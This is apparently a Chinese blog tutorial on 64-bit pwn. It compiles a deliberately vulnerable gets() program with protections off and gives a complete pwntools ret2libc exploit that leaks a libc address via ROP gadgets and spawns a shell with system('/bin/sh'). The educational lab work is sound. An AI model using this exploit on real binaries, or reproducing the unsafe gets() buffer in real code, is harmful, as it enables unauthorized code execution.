天天看點

pwn學習--64位繞過位址随機化

0x01 64位與32位的差別

在此篇文章之前,一直都讨論的是32位的情況,不過現在已經2020年了,64位程式逐漸成為主流。是以研究64位的程式也是非常必要的

開始之前,我要先理清一個知識點:x86指的是cpu的架構,x64是cpu位數,我們通常用的x64的全稱叫x86-64,也就是說x64是x86架構的64位cpu。而之是以用x86代表32位系統,是因為32位cpu占據了很長一段時間,是以習慣性的用x86代表32位cpu,是一種通俗用法罷了,是不嚴謹甚至有誤的。

差別:

1.首先是記憶體位址的範圍由32位變成了64位,x64可以使用的記憶體位址不能大于0x00007fffffffffff,否則會抛出異常。

2.函數參數的傳遞方式:x86中參數都是儲存在棧上,因為64位程式有了更多的通用寄存器, 是以通常會使用寄存器來進行函數參數傳遞而不是通過棧, 來獲得更高的運作速度。在x64中的前六個參數依次儲存在RDI, RSI, RDX, RCX, R8和 R9中,如果還有更多的參數的話才會儲存在棧上。

64位彙編

當參數少于7個時, 參數從左到右放入寄存器: rdi, rsi, rdx, rcx, r8, r9。

當參數為7個以上時, 前 6 個與前面一樣, 但後面的依次從 “右向左” 放入棧中,即和32位彙編一樣。

0x02 一個示例

#include<stdio.h>
#include<string.h>
#include<stdlib.h>

char buf2[10] = "this is buf2";
void vul()
{
        char buf1[10];
        gets(buf1);
}

void main()
{
        write(1,"sinxx",5);
        vul();
}

           

編譯(沒有-m32,就是編譯成64位的):

gcc -no-pie -fno-stack-protector -o 10.exe 10.c
           

可以checksec 10.exe看看,的确編譯成了64位的

pwn學習--64位繞過位址随機化

接下來開始檢視溢出點

cyclic 100
cyclic -l aafa
           

這裡和32位主要的一個差別是 如何确定這裡的aafa,可以看ret後面的位址前四位,由于小端序,反轉過來後對應的就是aafa,可是這樣看起來比較麻煩,如圖我們可以取棧頂的前四位。

pwn學習--64位繞過位址随機化
pwn學習--64位繞過位址随機化

接下來我們就要開始寫exp

我們還是要先找到gets的真實位址,然後利用相對偏移找到system和“\bin\sh”的位址

我們之前提到x86中參數都是儲存在棧上,但在x64中前六個參數依次儲存在RDI, RSI, RDX, RCX, R8和R9寄存器裡

如果還有更多的參數的話才會儲存在棧上,是以我們需要尋找一些類似于pop rdi; ret的這種gadget

如果是簡單的gadgets,我們可以通過objdump來查找

但當我們打算尋找一些複雜的gadgets的時候,還是借助于ROPgadgets來查找寄存器

pwn學習--64位繞過位址随機化
0x00000000004011db : pop rdi ; ret
0x00000000004011d9 : pop rsi ; pop r15 ; ret
           

1.發現沒有rdx的,不過也沒關系,write函數前面兩個是關鍵

2.找到pop rsi;pop r15;ret 我們構造payload時,需要兩個值壓棧。

from pwn import *
#context(arch="amd64",os="linux",log_level="debug")
p=process("./10.exe")
e=ELF("./10.exe")
addr_write=e.plt["write"]
addr_gets=e.got["gets"]
addr_vul=e.symbols["vul"]
addr_rdi=0x4011db
addr_rsi=0x4011d9

offset=18

#print pidof(p)
pause()

payload1=offset*'a'+p64(addr_rdi)+p64(1)+p64(addr_rsi)+p64(addr_gets)+p64(1)+p64(addr_write)+p64(addr_vul)
p.sendlineafter("sinxx",payload1)

gets_real_addr=u64(p.recv(8))
#gets_real_addr=u64(p.recv()[:8])

#print hex(gets_real_addr)

libc=ELF("/lib/x86_64-linux-gnu/libc.so.6")
rva_libc=gets_real_addr-libc.symbols["gets"]
addr_system=rva_libc+libc.symbols["system"]
addr_binsh=rva_libc+libc.search("/bin/sh").next()

payload2=offset*'a'+p64(addr_rdi)+p64(addr_binsh)+p64(addr_system)
p.sendline(payload2)
p.interactive()
           

對exp的了解:

x64中前六個參數依次儲存在RDI, RSI, RDX, RCX, R8和R9寄存器裡,是以write函數的參數分别放在了rdi,rsi,rdx寄存器裡面,

然後使用pop xxx ;ret 使rdi寄存器裡的值為1,使rsi寄存器裡的值為gets的真實位址,r15寄存的值是1(這不是重點),這裡rdi的值沒有限制,不過也不影響

然後是call write函數,先将vul函數的位址壓棧,然後再去執行write函數,執行完後就可以再次利用vul裡面的gets函數溢出,執行payload2。

這個先讓/bin/sh的位址到rdi寄存器裡裡面,system函數調用會需要一個參數,也就是這個rdi,是以payload2就是調用system“/bin/sh”

運作:

我這個運作起來有個很尴尬的場景,可以getshell不過中間出現了好多/x00

pwn學習--64位繞過位址随機化
pwn學習--64位繞過位址随機化

0x03 參考文章

https://www.cnblogs.com/wintrysec/p/10493583.html

http://blog.sina.com.cn/s/blog_6053551a0102x5my.html